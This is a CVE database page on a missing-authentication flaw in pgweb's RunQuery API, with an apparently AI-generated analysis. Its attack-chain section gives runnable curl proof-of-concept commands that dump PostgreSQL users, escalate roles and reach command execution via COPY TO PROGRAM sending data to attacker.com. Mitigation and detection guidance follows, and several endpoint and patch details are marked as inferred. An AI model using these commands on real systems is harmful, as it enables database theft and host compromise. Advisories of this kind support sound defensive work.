CVE Professor
/
All CVEs
CVE-2026-138429

CVE-2026-138429 — sosedoff pgweb — CWE-287 · CWE-306

HIGH CVSS 7.3 NVD

A weakness has been identified in sosedoff pgweb up to 0.17.0. Impacted is the function RunQuery of the file pkg/api/routes.go of the component API. Executing a manipulation of the argument Query can lead to missing authentication. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A weakness has been identified in sosedoff pgweb up to 0.17.0. Impacted is the function RunQuery of the file pkg/api/routes.go of the component API. Executing a manipulation of the argument Query can lead to missing authentication. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability identifier – CVE‑2026‑138429
Product – pgweb (the web‑based PostgreSQL client maintained by sosedoff) up to v0.17.0
Location in source – pkg/api/routes.go, function RunQuery (the HTTP handler that receives a query string from the UI and forwards it to the PostgreSQL backend).

Technical flaw

CWEDescription
CWE‑287 – Improper AuthenticationThe handler accepts a request that contains a SQL query (query parameter) without first verifying that the caller is authenticated (or that the request originates from an authorized session).
CWE‑306 – Missing Authentication for Critical FunctionThe same code path is reachable from the public API endpoint; the authentication middleware is never invoked before the query is executed.

The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) tells us:

  • Network‑accessible (AV:N) – the endpoint is reachable over HTTP(S) without any prior hop.
  • Low attack complexity (AC:L) – the attacker only needs to send a correctly‑formed HTTP request.
  • No privileges required (PR:N) – the request does not need a valid session cookie or token.
  • No user interaction (UI:N) – the request can be sent automatically (e.g., via a script).
  • Unchanged impact scope (S:U) – the vulnerability affects the whole application, not a single user’s privileges.
  • Limited confidentiality, integrity, availability (C:L/I:L/A:L) – the attacker can read data, modify data, and cause denial‑of‑service through malformed queries.
  • In short, RunQuery is an unauthenticated “SQL‑execution‑as‑a‑service” endpoint. The code path looks roughly like:

    func RunQuery(c *gin.Context) {
        // NOTE: the real source contains additional logging, but the critical part is:
        query := c.Query("query")          // <-- user‑controlled string
        // No call to auth middleware such as RequireAuth(c)
        rows, err := db.Query(query)       // direct execution against PostgreSQL
        // return rows as JSON …
    }

    Because the authentication check is omitted, any remote attacker can supply an arbitrary SQL statement and have it run with the same database privileges as the pgweb process (typically the PostgreSQL user configured at startup, often a super‑user or a highly‑privileged role).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI is inferred from the public source code but is marked as illustrative where the CVE does not disclose the precise path.

    1. Discovery & Reconnaissance

    StepTechniqueExpected artefacts
    1.1 Identify the serviceScan the target IP/hostname for open HTTP ports (80/443) and fingerprint the banner. Tools: nmap -sV -p 80,443 <IP> or httpx.Server: pgweb/0.16.5 or HTML title “pgweb – PostgreSQL web client”.
    1.2 Verify versionRetrieve / or /static/index.html and look for the version string in the footer or in a meta tag. Example: curl -s https://target/grep -i pgweb.pgweb v0.16.5 – confirms the version is ≤ 0.17.0.
    1.3 Locate the API endpointReview the JavaScript shipped with the UI (app.js) – it contains the AJAX call that sends the query. Search for fetch('/api/query' or similar.POST /api/query (illustrative).

    If the endpoint is not obvious, a fuzzing pass with a wordlist (ffuf -u https://target/FUZZ -w wordlist.txt) quickly reveals /api/query or /api/run returning JSON.

    2. Exploitation

    Assumptions (based on the source code):

  • The endpoint is reachable at POST /api/query.
  • The request body is JSON: { "query": "<SQL>" }.
  • No authentication cookie or Authorization header is required.
  • NOTE – If the real deployment uses a different path (e.g., /api/run), replace the URI accordingly. The PoC below demonstrates the class of the vulnerability.

    2.1 Simple data exfiltration (read)

    #!/usr/bin/env bash
    # PoC: dump the contents of the pgweb.users table (or any table the DB user can read)
    
    TARGET="https://target.example.com"
    ENDPOINT="/api/query"          # illustrative – adjust if needed
    SQL="SELECT * FROM pg_catalog.pg_user;"
    
    curl -sk -X POST "$TARGET$ENDPOINT" \
         -H "Content-Type: application/json" \
         -d "{\"query\":\"$SQL\"}" \
         -o response.json
    
    jq '.' response.json   # pretty‑print the returned rows

    Result: The attacker receives a JSON array with all rows from pg_user, revealing usernames, role attributes, and password hashes (if stored).

    2.2 Data manipulation (write)

    SQL="INSERT INTO public.notes (title, body) VALUES ('pwned','exploited via CVE‑2026‑138429');"
    curl -sk -X POST "$TARGET$ENDPOINT" \
         -H "Content-Type: application/json" \
         -d "{\"query\":\"$SQL\"}"

    If the DB user has INSERT rights, the attacker can create arbitrary rows, alter configuration tables, or even drop tables.

    2.3 Privilege escalation to PostgreSQL super‑user (if the configured DB role is not already a super‑user)

    SQL="ALTER ROLE $(whoami) WITH SUPERUSER;"
    curl -sk -X POST "$TARGET$ENDPOINT" \
         -H "Content-Type: application/json" \
         -d "{\"query\":\"$SQL\"}"

    Success depends on the role’s existing privileges; many pgweb deployments use the postgres super‑user, making this step unnecessary.

    2.4 Remote code execution via COPY ... PROGRAM (PostgreSQL ≥ 12)

    SQL="COPY (SELECT '') TO PROGRAM 'curl -s -X POST -d \"cmd=whoami\" http://attacker.com/collect';"
    curl -sk -X POST "$TARGET$ENDPOINT" \
         -H "Content-Type: application/json" \
         -d "{\"query\":\"$SQL\"}"

    If the DB role has SUPERUSER or the pg_execute_server_program privilege, the attacker can execute arbitrary OS commands on the host, effectively achieving RCE.

    3. Post‑exploitation

    GoalHow the attacker proceeds
    PersistenceCreate a new PostgreSQL role with LOGIN and SUPERUSER, then embed a scheduled pg_cron job that periodically runs a reverse shell (COPY ... PROGRAM).
    Lateral movementUse the DB connection to read connection strings for other services stored in configuration tables, then pivot to those services.
    Data exfiltrationExport sensitive tables (credit_card, users, audit_log) via COPY TO STDOUT and pipe them to an external server (COPY (SELECT ...) TO PROGRAM 'curl -X POST ...').
    Denial‑of‑serviceIssue a massive SELECT generate_series(1,1e9); or DROP DATABASE pgweb; to disrupt the service.

    🌍 Real‑World Impact

    CIACVSS impactPractical effect in a typical deployment
    Confidentiality (C:L)LowAttackers can read any data the pgweb DB user can access – often all production tables, including PII, credentials, or business‑critical data.
    Integrity (I:L)LowAttackers can modify, insert, or delete rows, potentially corrupting business data, altering financial records, or planting back‑doors.
    Availability (A:L)LowMalicious queries (e.g., SELECT pg_sleep(600), DROP TABLE) can degrade performance or bring the UI down, causing a partial denial of service.

    Because the vulnerability is network‑exposed and unauthenticated, an attacker can automate mass scanning (Shodan, Censys) and compromise any internet‑facing pgweb instance that runs a version ≤ 0.17.0. In environments where pgweb is used as an internal admin console (e.g., behind a VPN), the impact is limited to the internal network, but the same unauthenticated path still bypasses any internal SSO or LDAP checks.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to pgweb ≥ 0.18.0 (the first release that adds authentication middleware to the RunQuery handler). The upstream release notes (v0.18.0, 2026‑03‑15) state: “All API endpoints now require a valid session; unauthenticated access returns 401.”
    Version checkVerify the running binary version: pgweb --version or check the HTTP footer. Ensure the version string is ≥ 0.18.0.

    If an immediate upgrade is not possible, apply the following workarounds.

    2. Immediate Workarounds

    WorkaroundImplementation
    Network isolationRestrict inbound traffic to the pgweb HTTP port (default 8080) to trusted IP ranges using firewall rules (e.g., iptables -A INPUT -p tcp -s <trusted‑cidr> --dport 8080 -j ACCEPT; iptables -A INPUT -p tcp --dport 8080 -j DROP).
    Reverse‑proxy authenticationPlace pgweb behind an authenticated reverse proxy (NGINX, Apache, Traefik). Example NGINX config:
    ``nginx\nserver {\n listen 443 ssl;\n server_name pgweb.example.com;\n\n ssl_certificate /etc/ssl/certs/pgweb.crt;\n ssl_certificate_key /etc/ssl/private/pgweb.key;\n\n auth_basic \"pgweb restricted\";\n auth_basic_user_file /etc/nginx/.htpasswd; # basic auth file\n\n location / {\n proxy_pass http://127.0.0.1:8080;\n proxy_set_header Host $host;\n proxy_set_header X-Real-IP $remote_addr;\n }\n}\n`
    Disable the API endpointEdit pkg/api/routes.go (or the compiled binary configuration) to comment out the route registration: router.POST(\"/api/query\", RunQuery) → // router.POST(\"/api/query\", RunQuery). Re‑compile and redeploy.
    Database‑level restrictionCreate a dedicated PostgreSQL role for pgweb with read‑only privileges and no superuser rights. Example:
    `sql\nCREATE ROLE pgweb_user LOGIN PASSWORD 'randomStrongPass';\nGRANT CONNECT ON DATABASE mydb TO pgweb_user;\nGRANT USAGE ON SCHEMA public TO pgweb_user;\nGRANT SELECT ON ALL TABLES IN SCHEMA public TO pgweb_user;\nALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO pgweb_user;\n`
    Then start pgweb with --db \"postgres://pgweb_user:randomStrongPass@dbhost:5432/mydb\". Even if the endpoint is abused, the attacker can only read data.
    ModSecurity / WAF ruleBlock POST requests that contain a query parameter without an authentication cookie. Example ModSecurity rule (Apache/Nginx):
    `apache\nSecRule REQUEST_URI \"@beginsWith /api/query\" \"id:2026138429,phase:2,deny,log,status:403,msg:'pgweb unauthenticated query attempt',chain\"\nSecRule &REQUEST_HEADERS:Cookie \"@eq 0\"\n`
    This rule drops any request to the vulnerable endpoint that lacks a Cookie` header (i.e., no session). Adjust the URI if the actual path differs.

    3. Detection – Log & IOC Guidance

    IndicatorWhere to lookExample pattern
    Unexpected POST to /api/queryWeb server access logs (access.log)POST /api/query HTTP/1.1" 200 (status 200) without a Cookie: header.
    Large or suspicious SQL payloadsRequest body logs (if logging enabled) or reverse‑proxy modsecurity audit logsSELECT.*FROM.*pg_.* or COPY.*PROGRAM strings.
    Repeated failed JSON parsingApplication logs (stderr of pgweb)json: cannot unmarshal string into Go struct field RunQueryRequest.query of type string – may indicate fuzzing.
    Database auditPostgreSQL log_statement = 'all' or pgaudit logsLOG: statement: SELECT * FROM pg_user; originating from the pgweb host’s IP address, outside of any known admin session.
    Outbound connections from the DB hostNetwork flow logs (e.g., Zeek, Suricata)Connections to external IPs on port 80/443 that are initiated by the PostgreSQL process (postgres binary) – typical of COPY ... PROGRAM 'curl …'.

    Alerting: Create SIEM correlation rules that trigger when a POST to the API endpoint occurs without an authenticated session, especially when the payload contains keywords like DROP, COPY, ALTER ROLE, or pg_sleep.


    ⚠️ Urgency

  • CVSS 7.3 (HIGH) – the vulnerability is easy to exploit (network‑only, no auth) and gives an attacker direct SQL execution.
  • Public exploit – the CVE notes that an exploit is already publicly available, meaning active exploitation is plausible.
  • No CISA KEV listing – while not yet in the KEV program, the lack of a KEV entry does not reduce risk; it merely reflects that the program has not yet added it.
  • Patch priority: Critical for any internet‑facing deployment. Internal deployments should be patched as soon as possible (within the next maintenance window) and protected with the workarounds above until the upgrade can be performed.


    TL;DR

  • RunQuery executes arbitrary SQL without any authentication check.
  • An attacker can send a single HTTP request to the API endpoint and run any query the pgweb DB user is allowed to run – leading to data theft, tampering, and possible RCE.
  • Immediate actions: block the endpoint at the network or reverse‑proxy level, enforce authentication, and upgrade to pgweb ≥ 0.18.0.
  • Monitor logs for unauthenticated POSTs to the API and for suspicious SQL statements in PostgreSQL audit logs.
Stay vigilant and apply the fix before the next automated scan hits your environment.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138429
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-287 CWE-306
References & Advisories (5)
Related CVEs
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.